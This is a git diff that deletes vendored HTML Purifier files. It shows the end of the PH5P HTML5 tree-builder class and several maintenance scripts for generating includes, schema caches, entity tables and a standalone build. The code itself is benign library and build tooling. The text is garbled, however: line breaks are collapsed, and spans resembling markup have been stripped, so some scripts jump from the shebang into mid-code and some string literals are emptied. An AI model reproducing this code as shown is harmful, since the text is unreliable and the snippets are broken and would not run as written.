an optgroup element, then pop that node - from the stack of open elements. Otherwise, this is a parse error, - ignore the token. */ - if($this->stack[$elements_in_stack - 1] === 'optgroup') { - array_pop($this->stack); - } - - /* An end tag token whose tag name is "option" */ - } elseif($token['type'] === HTML5::ENDTAG && - $token['name'] === 'option') { - /* If the current node is an option element, then pop that node - from the stack of open elements. Otherwise, this is a parse error, - ignore the token. */ - if(end($this->stack)->nodeName === 'option') { - array_pop($this->stack); - } - - /* An end tag whose tag name is "select" */ - } elseif($token['type'] === HTML5::ENDTAG && - $token['name'] === 'select') { - /* If the stack of open elements does not have an element in table - scope with the same tag name as the token, this is a parse error. - Ignore the token. (innerHTML case) */ - if(!$this->elementInScope($token['name'], true)) { - // w/e - - /* Otherwise: */ - } else { - /* Pop elements from the stack of open elements until a select - element has been popped from the stack. */ - while(true) { - $current = end($this->stack)->nodeName; - array_pop($this->stack); - - if($current === 'select') { - break; - } - } - - /* Reset the insertion mode appropriately. */ - $this->resetInsertionMode(); - } - - /* A start tag whose tag name is "select" */ - } elseif($token['name'] === 'select' && - $token['type'] === HTML5::STARTTAG) { - /* Parse error. Act as if the token had been an end tag with the - tag name "select" instead. */ - $this->inSelect(array( - 'name' => 'select', - 'type' => HTML5::ENDTAG - )); - - /* An end tag whose tag name is one of: "caption", "table", "tbody", - "tfoot", "thead", "tr", "td", "th" */ - } elseif(in_array($token['name'], array('caption', 'table', 'tbody', - 'tfoot', 'thead', 'tr', 'td', 'th')) && $token['type'] === HTML5::ENDTAG) { - /* Parse error. */ - // w/e - - /* If the stack of open elements has an element in table scope with - the same tag name as that of the token, then act as if an end tag - with the tag name "select" had been seen, and reprocess the token. - Otherwise, ignore the token. */ - if($this->elementInScope($token['name'], true)) { - $this->inSelect(array( - 'name' => 'select', - 'type' => HTML5::ENDTAG - )); - - $this->mainPhase($token); - } - - /* Anything else */ - } else { - /* Parse error. Ignore the token. */ - } - } - - private function afterBody($token) - { - /* Handle the token as follows: */ - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - if($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Process the token as it would be processed if the insertion mode - was "in body". */ - $this->inBody($token); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the first element in the stack of open - elements (the html element), with the data attribute set to the - data given in the comment token. */ - $comment = $this->dom->createComment($token['data']); - $this->stack[0]->appendChild($comment); - - /* An end tag with the tag name "html" */ - } elseif($token['type'] === HTML5::ENDTAG && $token['name'] === 'html') { - /* If the parser was originally created in order to handle the - setting of an element's innerHTML attribute, this is a parse error; - ignore the token. (The element will be an html element in this - case.) (innerHTML case) */ - - /* Otherwise, switch to the trailing end phase. */ - $this->phase = self::END_PHASE; - - /* Anything else */ - } else { - /* Parse error. Set the insertion mode to "in body" and reprocess - the token. */ - $this->mode = self::IN_BODY; - return $this->inBody($token); - } - } - - private function inFrameset($token) - { - /* Handle the token as follows: */ - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - U+000D CARRIAGE RETURN (CR), or U+0020 SPACE */ - if($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Append the character to the current node. */ - $this->insertText($token['data']); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data - attribute set to the data given in the comment token. */ - $this->insertComment($token['data']); - - /* A start tag with the tag name "frameset" */ - } elseif($token['name'] === 'frameset' && - $token['type'] === HTML5::STARTTAG) { - $this->insertElement($token); - - /* An end tag with the tag name "frameset" */ - } elseif($token['name'] === 'frameset' && - $token['type'] === HTML5::ENDTAG) { - /* If the current node is the root html element, then this is a - parse error; ignore the token. (innerHTML case) */ - if(end($this->stack)->nodeName === 'html') { - // Ignore - - } else { - /* Otherwise, pop the current node from the stack of open - elements. */ - array_pop($this->stack); - - /* If the parser was not originally created in order to handle - the setting of an element's innerHTML attribute (innerHTML case), - and the current node is no longer a frameset element, then change - the insertion mode to "after frameset". */ - $this->mode = self::AFTR_FRAME; - } - - /* A start tag with the tag name "frame" */ - } elseif($token['name'] === 'frame' && - $token['type'] === HTML5::STARTTAG) { - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Immediately pop the current node off the stack of open elements. */ - array_pop($this->stack); - - /* A start tag with the tag name "noframes" */ - } elseif($token['name'] === 'noframes' && - $token['type'] === HTML5::STARTTAG) { - /* Process the token as if the insertion mode had been "in body". */ - $this->inBody($token); - - /* Anything else */ - } else { - /* Parse error. Ignore the token. */ - } - } - - private function afterFrameset($token) - { - /* Handle the token as follows: */ - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - U+000D CARRIAGE RETURN (CR), or U+0020 SPACE */ - if($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Append the character to the current node. */ - $this->insertText($token['data']); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data - attribute set to the data given in the comment token. */ - $this->insertComment($token['data']); - - /* An end tag with the tag name "html" */ - } elseif($token['name'] === 'html' && - $token['type'] === HTML5::ENDTAG) { - /* Switch to the trailing end phase. */ - $this->phase = self::END_PHASE; - - /* A start tag with the tag name "noframes" */ - } elseif($token['name'] === 'noframes' && - $token['type'] === HTML5::STARTTAG) { - /* Process the token as if the insertion mode had been "in body". */ - $this->inBody($token); - - /* Anything else */ - } else { - /* Parse error. Ignore the token. */ - } - } - - private function trailingEndPhase($token) - { - /* After the main phase, as each token is emitted from the tokenisation - stage, it must be processed as described in this section. */ - - /* A DOCTYPE token */ - if($token['type'] === HTML5::DOCTYPE) { - // Parse error. Ignore the token. - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the Document object with the data - attribute set to the data given in the comment token. */ - $comment = $this->dom->createComment($token['data']); - $this->dom->appendChild($comment); - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - } elseif($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Process the token as it would be processed in the main phase. */ - $this->mainPhase($token); - - /* A character token that is not one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE. Or a start tag token. Or an end tag token. */ - } elseif(($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) || - $token['type'] === HTML5::STARTTAG || $token['type'] === HTML5::ENDTAG) { - /* Parse error. Switch back to the main phase and reprocess the - token. */ - $this->phase = self::MAIN_PHASE; - return $this->mainPhase($token); - - /* An end-of-file token */ - } elseif($token['type'] === HTML5::EOF) { - /* OMG DONE!! */ - } - } - - private function insertElement($token, $append = true) - { - $el = $this->dom->createElement($token['name']); - - foreach($token['attr'] as $attr) { - if(!$el->hasAttribute($attr['name'])) { - $el->setAttribute($attr['name'], $attr['value']); - } - } - - $this->appendToRealParent($el); - $this->stack[] = $el; - - return $el; - } - - private function insertText($data) - { - $text = $this->dom->createTextNode($data); - $this->appendToRealParent($text); - } - - private function insertComment($data) - { - $comment = $this->dom->createComment($data); - $this->appendToRealParent($comment); - } - - private function appendToRealParent($node) - { - if($this->foster_parent === null) { - end($this->stack)->appendChild($node); - - } elseif($this->foster_parent !== null) { - /* If the foster parent element is the parent element of the - last table element in the stack of open elements, then the new - node must be inserted immediately before the last table element - in the stack of open elements in the foster parent element; - otherwise, the new node must be appended to the foster parent - element. */ - for($n = count($this->stack) - 1; $n >= 0; $n--) { - if($this->stack[$n]->nodeName === 'table' && - $this->stack[$n]->parentNode !== null) { - $table = $this->stack[$n]; - break; - } - } - - if(isset($table) && $this->foster_parent->isSameNode($table->parentNode)) - $this->foster_parent->insertBefore($node, $table); - else - $this->foster_parent->appendChild($node); - - $this->foster_parent = null; - } - } - - private function elementInScope($el, $table = false) - { - if(is_array($el)) { - foreach($el as $element) { - if($this->elementInScope($element, $table)) { - return true; - } - } - - return false; - } - - $leng = count($this->stack); - - for($n = 0; $n < $leng; $n++) { - /* 1. Initialise node to be the current node (the bottommost node of - the stack). */ - $node = $this->stack[$leng - 1 - $n]; - - if($node->tagName === $el) { - /* 2. If node is the target node, terminate in a match state. */ - return true; - - } elseif($node->tagName === 'table') { - /* 3. Otherwise, if node is a table element, terminate in a failure - state. */ - return false; - - } elseif($table === true && in_array($node->tagName, array('caption', 'td', - 'th', 'button', 'marquee', 'object'))) { - /* 4. Otherwise, if the algorithm is the "has an element in scope" - variant (rather than the "has an element in table scope" variant), - and node is one of the following, terminate in a failure state. */ - return false; - - } elseif($node === $node->ownerDocument->documentElement) { - /* 5. Otherwise, if node is an html element (root element), terminate - in a failure state. (This can only happen if the node is the topmost - node of the stack of open elements, and prevents the next step from - being invoked if there are no more elements in the stack.) */ - return false; - } - - /* Otherwise, set node to the previous entry in the stack of open - elements and return to step 2. (This will never fail, since the loop - will always terminate in the previous step if the top of the stack - is reached.) */ - } - } - - private function reconstructActiveFormattingElements() - { - /* 1. If there are no entries in the list of active formatting elements, - then there is nothing to reconstruct; stop this algorithm. */ - $formatting_elements = count($this->a_formatting); - - if($formatting_elements === 0) { - return false; - } - - /* 3. Let entry be the last (most recently added) element in the list - of active formatting elements. */ - $entry = end($this->a_formatting); - - /* 2. If the last (most recently added) entry in the list of active - formatting elements is a marker, or if it is an element that is in the - stack of open elements, then there is nothing to reconstruct; stop this - algorithm. */ - if($entry === self::MARKER || in_array($entry, $this->stack, true)) { - return false; - } - - for($a = $formatting_elements - 1; $a >= 0; true) { - /* 4. If there are no entries before entry in the list of active - formatting elements, then jump to step 8. */ - if($a === 0) { - $step_seven = false; - break; - } - - /* 5. Let entry be the entry one earlier than entry in the list of - active formatting elements. */ - $a--; - $entry = $this->a_formatting[$a]; - - /* 6. If entry is neither a marker nor an element that is also in - thetack of open elements, go to step 4. */ - if($entry === self::MARKER || in_array($entry, $this->stack, true)) { - break; - } - } - - while(true) { - /* 7. Let entry be the element one later than entry in the list of - active formatting elements. */ - if(isset($step_seven) && $step_seven === true) { - $a++; - $entry = $this->a_formatting[$a]; - } - - /* 8. Perform a shallow clone of the element entry to obtain clone. */ - $clone = $entry->cloneNode(); - - /* 9. Append clone to the current node and push it onto the stack - of open elements so that it is the new current node. */ - end($this->stack)->appendChild($clone); - $this->stack[] = $clone; - - /* 10. Replace the entry for entry in the list with an entry for - clone. */ - $this->a_formatting[$a] = $clone; - - /* 11. If the entry for clone in the list of active formatting - elements is not the last entry in the list, return to step 7. */ - if(end($this->a_formatting) !== $clone) { - $step_seven = true; - } else { - break; - } - } - } - - private function clearTheActiveFormattingElementsUpToTheLastMarker() - { - /* When the steps below require the UA to clear the list of active - formatting elements up to the last marker, the UA must perform the - following steps: */ - - while(true) { - /* 1. Let entry be the last (most recently added) entry in the list - of active formatting elements. */ - $entry = end($this->a_formatting); - - /* 2. Remove entry from the list of active formatting elements. */ - array_pop($this->a_formatting); - - /* 3. If entry was a marker, then stop the algorithm at this point. - The list has been cleared up to the last marker. */ - if($entry === self::MARKER) { - break; - } - } - } - - private function generateImpliedEndTags(array $exclude = array()) - { - /* When the steps below require the UA to generate implied end tags, - then, if the current node is a dd element, a dt element, an li element, - a p element, a td element, a th element, or a tr element, the UA must - act as if an end tag with the respective tag name had been seen and - then generate implied end tags again. */ - $node = end($this->stack); - $elements = array_diff(array('dd', 'dt', 'li', 'p', 'td', 'th', 'tr'), $exclude); - - while(in_array(end($this->stack)->nodeName, $elements)) { - array_pop($this->stack); - } - } - - private function getElementCategory($name) - { - if(in_array($name, $this->special)) - return self::SPECIAL; - - elseif(in_array($name, $this->scoping)) - return self::SCOPING; - - elseif(in_array($name, $this->formatting)) - return self::FORMATTING; - - else - return self::PHRASING; - } - - private function clearStackToTableContext($elements) - { - /* When the steps above require the UA to clear the stack back to a - table context, it means that the UA must, while the current node is not - a table element or an html element, pop elements from the stack of open - elements. If this causes any elements to be popped from the stack, then - this is a parse error. */ - while(true) { - $node = end($this->stack)->nodeName; - - if(in_array($node, $elements)) { - break; - } else { - array_pop($this->stack); - } - } - } - - private function resetInsertionMode() - { - /* 1. Let last be false. */ - $last = false; - $leng = count($this->stack); - - for($n = $leng - 1; $n >= 0; $n--) { - /* 2. Let node be the last node in the stack of open elements. */ - $node = $this->stack[$n]; - - /* 3. If node is the first node in the stack of open elements, then - set last to true. If the element whose innerHTML attribute is being - set is neither a td element nor a th element, then set node to the - element whose innerHTML attribute is being set. (innerHTML case) */ - if($this->stack[0]->isSameNode($node)) { - $last = true; - } - - /* 4. If node is a select element, then switch the insertion mode to - "in select" and abort these steps. (innerHTML case) */ - if($node->nodeName === 'select') { - $this->mode = self::IN_SELECT; - break; - - /* 5. If node is a td or th element, then switch the insertion mode - to "in cell" and abort these steps. */ - } elseif($node->nodeName === 'td' || $node->nodeName === 'th') { - $this->mode = self::IN_CELL; - break; - - /* 6. If node is a tr element, then switch the insertion mode to - "in row" and abort these steps. */ - } elseif($node->nodeName === 'tr') { - $this->mode = self::IN_ROW; - break; - - /* 7. If node is a tbody, thead, or tfoot element, then switch the - insertion mode to "in table body" and abort these steps. */ - } elseif(in_array($node->nodeName, array('tbody', 'thead', 'tfoot'))) { - $this->mode = self::IN_TBODY; - break; - - /* 8. If node is a caption element, then switch the insertion mode - to "in caption" and abort these steps. */ - } elseif($node->nodeName === 'caption') { - $this->mode = self::IN_CAPTION; - break; - - /* 9. If node is a colgroup element, then switch the insertion mode - to "in column group" and abort these steps. (innerHTML case) */ - } elseif($node->nodeName === 'colgroup') { - $this->mode = self::IN_CGROUP; - break; - - /* 10. If node is a table element, then switch the insertion mode - to "in table" and abort these steps. */ - } elseif($node->nodeName === 'table') { - $this->mode = self::IN_TABLE; - break; - - /* 11. If node is a head element, then switch the insertion mode - to "in body" ("in body"! not "in head"!) and abort these steps. - (innerHTML case) */ - } elseif($node->nodeName === 'head') { - $this->mode = self::IN_BODY; - break; - - /* 12. If node is a body element, then switch the insertion mode to - "in body" and abort these steps. */ - } elseif($node->nodeName === 'body') { - $this->mode = self::IN_BODY; - break; - - /* 13. If node is a frameset element, then switch the insertion - mode to "in frameset" and abort these steps. (innerHTML case) */ - } elseif($node->nodeName === 'frameset') { - $this->mode = self::IN_FRAME; - break; - - /* 14. If node is an html element, then: if the head element - pointer is null, switch the insertion mode to "before head", - otherwise, switch the insertion mode to "after head". In either - case, abort these steps. (innerHTML case) */ - } elseif($node->nodeName === 'html') { - $this->mode = ($this->head_pointer === null) - ? self::BEFOR_HEAD - : self::AFTER_HEAD; - - break; - - /* 15. If last is true, then set the insertion mode to "in body" - and abort these steps. (innerHTML case) */ - } elseif($last) { - $this->mode = self::IN_BODY; - break; - } - } - } - - private function closeCell() - { - /* If the stack of open elements has a td or th element in table scope, - then act as if an end tag token with that tag name had been seen. */ - foreach(array('td', 'th') as $cell) { - if($this->elementInScope($cell, true)) { - $this->inCell(array( - 'name' => $cell, - 'type' => HTML5::ENDTAG - )); - - break; - } - } - } - - public function save() - { - return $this->dom; - } -} diff --git a/vendor/ezyang/htmlpurifier/maintenance/add-vimline.php b/vendor/ezyang/htmlpurifier/maintenance/add-vimline.php deleted file mode 100644 index d4e54189ca..0000000000 --- a/vendor/ezyang/htmlpurifier/maintenance/add-vimline.php +++ /dev/null @@ -1,130 +0,0 @@ -#!/usr/bin/php -globr('.', '*'); -foreach ($files as $file) { - if ( - !is_file($file) || - prefix_is('./docs/doxygen', $file) || - prefix_is('./library/standalone', $file) || - prefix_is('./docs/specimens', $file) || - postfix_is('.ser', $file) || - postfix_is('.tgz', $file) || - postfix_is('.patch', $file) || - postfix_is('.dtd', $file) || - postfix_is('.ent', $file) || - postfix_is('.png', $file) || - postfix_is('.ico', $file) || - // wontfix - postfix_is('.vtest', $file) || - postfix_is('.svg', $file) || - postfix_is('.phpt', $file) || - postfix_is('VERSION', $file) || - postfix_is('WHATSNEW', $file) || - postfix_is('configdoc/usage.xml', $file) || - postfix_is('library/HTMLPurifier.includes.php', $file) || - postfix_is('library/HTMLPurifier.safe-includes.php', $file) || - postfix_is('smoketests/xssAttacks.xml', $file) || - // phpt files - postfix_is('.diff', $file) || - postfix_is('.exp', $file) || - postfix_is('.log', $file) || - postfix_is('.out', $file) || - - $file == './library/HTMLPurifier/Lexer/PH5P.php' || - $file == './maintenance/PH5P.php' - ) continue; - $ext = strrchr($file, '.'); - if ( - postfix_is('README', $file) || - postfix_is('LICENSE', $file) || - postfix_is('CREDITS', $file) || - postfix_is('INSTALL', $file) || - postfix_is('NEWS', $file) || - postfix_is('TODO', $file) || - postfix_is('WYSIWYG', $file) || - postfix_is('Changelog', $file) - ) $ext = '.txt'; - if (postfix_is('Doxyfile', $file)) $ext = 'Doxyfile'; - if (postfix_is('.php.in', $file)) $ext = '.php'; - $no_nl = false; - switch ($ext) { - case '.php': - case '.inc': - case '.js': - $line = '// %s'; - break; - case '.html': - case '.xsl': - case '.xml': - case '.htc': - $line = ""; - break; - case '.htmlt': - $no_nl = true; - $line = '--# %s'; - break; - case '.ini': - $line = '; %s'; - break; - case '.css': - $line = '/* %s */'; - break; - case '.bat': - $line = 'rem %s'; - break; - case '.txt': - case '.utf8': - if ( - prefix_is('./library/HTMLPurifier/ConfigSchema', $file) || - prefix_is('./smoketests/test-schema', $file) || - prefix_is('./tests/HTMLPurifier/StringHashParser', $file) - ) { - $no_nl = true; - $line = '--# %s'; - } else { - $line = ' %s'; - } - break; - case 'Doxyfile': - $line = '# %s'; - break; - default: - throw new Exception('Unknown file: ' . $file); - } - - echo "$file\n"; - $contents = file_get_contents($file); - - $regex = '~' . str_replace('%s', 'vim: .+', preg_quote($line, '~')) . '~m'; - $contents = preg_replace($regex, '', $contents); - - $contents = rtrim($contents); - - if (strpos($contents, "\r\n") !== false) $nl = "\r\n"; - elseif (strpos($contents, "\n") !== false) $nl = "\n"; - elseif (strpos($contents, "\r") !== false) $nl = "\r"; - else $nl = PHP_EOL; - - if (!$no_nl) $contents .= $nl; - $contents .= $nl . str_replace('%s', $vimline, $line) . $nl; - - file_put_contents($file, $contents); - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/maintenance/common.php b/vendor/ezyang/htmlpurifier/maintenance/common.php deleted file mode 100644 index 1bba760bc5..0000000000 --- a/vendor/ezyang/htmlpurifier/maintenance/common.php +++ /dev/null @@ -1,25 +0,0 @@ -docs/doxygen/info.log 2>docs/doxygen/errors.log -if [ "$?" != 0 ]; then - cat docs/doxygen/errors.log - exit -fi -cd docs -tar czf doxygen.tgz doxygen diff --git a/vendor/ezyang/htmlpurifier/maintenance/config-scanner.php b/vendor/ezyang/htmlpurifier/maintenance/config-scanner.php deleted file mode 100644 index 29febbdae4..0000000000 --- a/vendor/ezyang/htmlpurifier/maintenance/config-scanner.php +++ /dev/null @@ -1,155 +0,0 @@ -#!/usr/bin/php -globr('.', '*.php'); -$files = array(); -foreach ($raw_files as $file) { - $file = substr($file, 2); // rm leading './' - if (strncmp('standalone/', $file, 11) === 0) continue; // rm generated files - if (substr_count($file, '.') > 1) continue; // rm meta files - $files[] = $file; -} - -/** - * Moves the $i cursor to the next non-whitespace token - */ -function consumeWhitespace($tokens, &$i) -{ - do {$i++;} while (is_array($tokens[$i]) && $tokens[$i][0] === T_WHITESPACE); -} - -/** - * Tests whether or not a token is a particular type. There are three run-cases: - * - ($token, $expect_token): tests if the token is $expect_token type; - * - ($token, $expect_value): tests if the token is the string $expect_value; - * - ($token, $expect_token, $expect_value): tests if token is $expect_token type, and - * its string representation is $expect_value - */ -function testToken($token, $value_or_token, $value = null) -{ - if (is_null($value)) { - if (is_int($value_or_token)) return is_array($token) && $token[0] === $value_or_token; - else return $token === $value_or_token; - } else { - return is_array($token) && $token[0] === $value_or_token && $token[1] === $value; - } -} - -$counter = 0; -$full_counter = 0; -$tracker = array(); - -foreach ($files as $file) { - $tokens = token_get_all(file_get_contents($file)); - $file = str_replace('\\', '/', $file); - for ($i = 0, $c = count($tokens); $i < $c; $i++) { - $ok = false; - // Match $config - if (!$ok && testToken($tokens[$i], T_VARIABLE, '$config')) $ok = true; - // Match $this->config - while (!$ok && testToken($tokens[$i], T_VARIABLE, '$this')) { - consumeWhitespace($tokens, $i); - if (!testToken($tokens[$i], T_OBJECT_OPERATOR)) break; - consumeWhitespace($tokens, $i); - if (testToken($tokens[$i], T_STRING, 'config')) $ok = true; - break; - } - if (!$ok) continue; - - $ok = false; - for($i++; $i < $c; $i++) { - if ($tokens[$i] === ',' || $tokens[$i] === ')' || $tokens[$i] === ';') { - break; - } - if (is_string($tokens[$i])) continue; - if ($tokens[$i][0] === T_OBJECT_OPERATOR) { - $ok = true; - break; - } - } - if (!$ok) continue; - - $line = $tokens[$i][2]; - - consumeWhitespace($tokens, $i); - if (!testToken($tokens[$i], T_STRING, 'get')) continue; - - consumeWhitespace($tokens, $i); - if (!testToken($tokens[$i], '(')) continue; - - $full_counter++; - - $matched = false; - do { - - // What we currently don't match are batch retrievals, and - // wildcard retrievals. This data might be useful in the future, - // which is why we have a do {} while loop that doesn't actually - // do anything. - - consumeWhitespace($tokens, $i); - if (!testToken($tokens[$i], T_CONSTANT_ENCAPSED_STRING)) continue; - $id = substr($tokens[$i][1], 1, -1); - - $counter++; - $matched = true; - - if (!isset($tracker[$id])) $tracker[$id] = array(); - if (!isset($tracker[$id][$file])) $tracker[$id][$file] = array(); - $tracker[$id][$file][] = $line; - - } while (0); - - //echo "$file:$line uses $namespace.$directive\n"; - } -} - -echo "\n$counter/$full_counter instances of \$config or \$this->config found in source code.\n"; - -echo "Generating XML... "; - -$xw = new XMLWriter(); -$xw->openURI('../configdoc/usage.xml'); -$xw->setIndent(true); -$xw->startDocument('1.0', 'UTF-8'); -$xw->startElement('usage'); -foreach ($tracker as $id => $files) { - $xw->startElement('directive'); - $xw->writeAttribute('id', $id); - foreach ($files as $file => $lines) { - $xw->startElement('file'); - $xw->writeAttribute('name', $file); - foreach ($lines as $line) { - $xw->writeElement('line', $line); - } - $xw->endElement(); - } - $xw->endElement(); -} -$xw->endElement(); -$xw->flush(); - -echo "done!\n"; - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/maintenance/flush-definition-cache.php b/vendor/ezyang/htmlpurifier/maintenance/flush-definition-cache.php deleted file mode 100644 index 0c19389c3d..0000000000 --- a/vendor/ezyang/htmlpurifier/maintenance/flush-definition-cache.php +++ /dev/null @@ -1,42 +0,0 @@ -#!/usr/bin/php -flush($config); -} - -echo "Cache flushed successfully.\n"; - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/maintenance/flush.sh b/vendor/ezyang/htmlpurifier/maintenance/flush.sh deleted file mode 100644 index b18792ad1f..0000000000 --- a/vendor/ezyang/htmlpurifier/maintenance/flush.sh +++ /dev/null @@ -1,8 +0,0 @@ -#!/bin/bash -set -ex -DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null && pwd )" -php "$DIR/generate-includes.php" -php "$DIR/generate-schema-cache.php" -php "$DIR/flush-definition-cache.php" -php "$DIR/generate-standalone.php" -php "$DIR/config-scanner.php" diff --git a/vendor/ezyang/htmlpurifier/maintenance/generate-entity-file.php b/vendor/ezyang/htmlpurifier/maintenance/generate-entity-file.php deleted file mode 100644 index 305d12c345..0000000000 --- a/vendor/ezyang/htmlpurifier/maintenance/generate-entity-file.php +++ /dev/null @@ -1,75 +0,0 @@ -#!/usr/bin/php -/'; - -foreach ( $entity_files as $file ) { - $contents = file_get_contents($entity_dir . $file); - $matches = array(); - preg_match_all($regexp, $contents, $matches, PREG_SET_ORDER); - foreach ($matches as $match) { - $entity_table[$match[1]] = unichr($match[2]); - } -} - -$output = serialize($entity_table); - -$fh = fopen($output_file, 'w'); -fwrite($fh, $output); -fclose($fh); - -echo "Completed successfully."; - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/maintenance/generate-includes.php b/vendor/ezyang/htmlpurifier/maintenance/generate-includes.php deleted file mode 100644 index a3f482c579..0000000000 --- a/vendor/ezyang/htmlpurifier/maintenance/generate-includes.php +++ /dev/null @@ -1,192 +0,0 @@ -#!/usr/bin/php -globr('.', '*.php'); -if (!$raw_files) throw new Exception('Did not find any PHP source files'); -$files = array(); -foreach ($raw_files as $file) { - $file = substr($file, 2); // rm leading './' - if (strncmp('standalone/', $file, 11) === 0) continue; // rm generated files - if (substr_count($file, '.') > 1) continue; // rm meta files - $ok = true; - foreach ($exclude_dirs as $dir) { - if (strncmp($dir, $file, strlen($dir)) === 0) { - $ok = false; - break; - } - } - if (!$ok) continue; // rm excluded directories - if (in_array($file, $exclude_files)) continue; // rm excluded files - $files[] = $file; -} -echo "done!\n"; - -// Reorder list so that dependencies are included first: - -/** - * Returns a lookup array of dependencies for a file. - * - * @note This function expects that format $name extends $parent on one line - * - * @param string $file - * File to check dependencies of. - * @return array - * Lookup array of files the file is dependent on, sorted accordingly. - */ -function get_dependency_lookup($file) -{ - static $cache = array(); - if (isset($cache[$file])) return $cache[$file]; - if (!file_exists($file)) { - echo "File doesn't exist: $file\n"; - return array(); - } - $fh = fopen($file, 'r'); - $deps = array(); - while (!feof($fh)) { - $line = fgets($fh); - if (strncmp('class', $line, 5) === 0) { - // The implementation here is fragile and will break if we attempt - // to use interfaces. Beware! - $arr = explode(' extends ', trim($line, ' {'."\n\r"), 2); - if (count($arr) < 2) break; - $parent = $arr[1]; - $dep_file = HTMLPurifier_Bootstrap::getPath($parent); - if (!$dep_file) break; - $deps[$dep_file] = true; - break; - } - } - fclose($fh); - foreach (array_keys($deps) as $file) { - // Extra dependencies must come *before* base dependencies - $deps = get_dependency_lookup($file) + $deps; - } - $cache[$file] = $deps; - return $deps; -} - -/** - * Sorts files based on dependencies. This function is lazy and will not - * group files with dependencies together; it will merely ensure that a file - * is never included before its dependencies are. - * - * @param $files - * Files array to sort. - * @return - * Sorted array ($files is not modified by reference!) - */ -function dep_sort($files) -{ - $ret = array(); - $cache = array(); - foreach ($files as $file) { - if (isset($cache[$file])) continue; - $deps = get_dependency_lookup($file); - foreach (array_keys($deps) as $dep) { - if (!isset($cache[$dep])) { - $ret[] = $dep; - $cache[$dep] = true; - } - } - $cache[$file] = true; - $ret[] = $file; - } - return $ret; -} - -$files = dep_sort($files); - -// Build the actual include stub: - -$version = trim(file_get_contents('../VERSION')); - -// stub -$php = " PH5P.patch"); -unlink($newt); - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/maintenance/generate-schema-cache.php b/vendor/ezyang/htmlpurifier/maintenance/generate-schema-cache.php deleted file mode 100644 index 34885dc5b6..0000000000 --- a/vendor/ezyang/htmlpurifier/maintenance/generate-schema-cache.php +++ /dev/null @@ -1,45 +0,0 @@ -#!/usr/bin/php -buildDir($interchange); - -$loader = dirname(__FILE__) . '/../config-schema.php'; -if (file_exists($loader)) include $loader; -foreach ($_SERVER['argv'] as $i => $dir) { - if ($i === 0) continue; - $builder->buildDir($interchange, realpath($dir)); -} - -$interchange->validate(); - -$schema_builder = new HTMLPurifier_ConfigSchema_Builder_ConfigSchema(); -$schema = $schema_builder->build($interchange); - -echo "Saving schema... "; -file_put_contents($target, serialize($schema)); -echo "done!\n"; - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/maintenance/generate-standalone.php b/vendor/ezyang/htmlpurifier/maintenance/generate-standalone.php deleted file mode 100644 index ea97ee2b3a..0000000000 --- a/vendor/ezyang/htmlpurifier/maintenance/generate-standalone.php +++ /dev/null @@ -1,159 +0,0 @@ -#!/usr/bin/php -copyr($dir, 'standalone/' . $dir); -} - -/** - * Copies the contents of a file to the standalone directory - * @param string $file File to copy - */ -function make_file_standalone($file) -{ - global $FS; - $FS->mkdirr('standalone/' . dirname($file)); - copy_and_remove_includes($file, 'standalone/' . $file); - return true; -} - -/** - * Copies a file to another location recursively, if it is a PHP file - * remove includes - * @param string $file Original file - * @param string $sfile New location of file - */ -function copy_and_remove_includes($file, $sfile) -{ - $contents = file_get_contents($file); - if (strrchr($file, '.') === '.php') $contents = replace_includes($contents); - return file_put_contents($sfile, $contents); -} - -/** - * @param $matches preg_replace_callback matches array, where index 1 - * is the filename to include - */ -function replace_includes_callback($matches) -{ - $file = $matches[1]; - $preserve = array( - // PEAR (external) - 'XML/HTMLSax3.php' => 1 - ); - if (isset($preserve[$file])) { - return $matches[0]; - } - if (isset($GLOBALS['loaded'][$file])) return ''; - $GLOBALS['loaded'][$file] = true; - return replace_includes(remove_php_tags(file_get_contents($file))); -} - -echo 'Generating includes file... '; -shell_exec('php generate-includes.php'); -echo "done!\n"; - -chdir(dirname(__FILE__) . '/../library/'); - -echo 'Creating full file...'; -$contents = replace_includes(file_get_contents('HTMLPurifier.includes.php')); -$contents = str_replace( - // Note that bootstrap is now inside the standalone file - "define('HTMLPURIFIER_PREFIX', realpath(dirname(__FILE__) . '/..'));", - "define('HTMLPURIFIER_PREFIX', dirname(__FILE__) . '/standalone'); - set_include_path(HTMLPURIFIER_PREFIX . PATH_SEPARATOR . get_include_path());", - $contents -); -file_put_contents('HTMLPurifier.standalone.php', $contents); -echo ' done!' . PHP_EOL; - -echo 'Creating standalone directory...'; 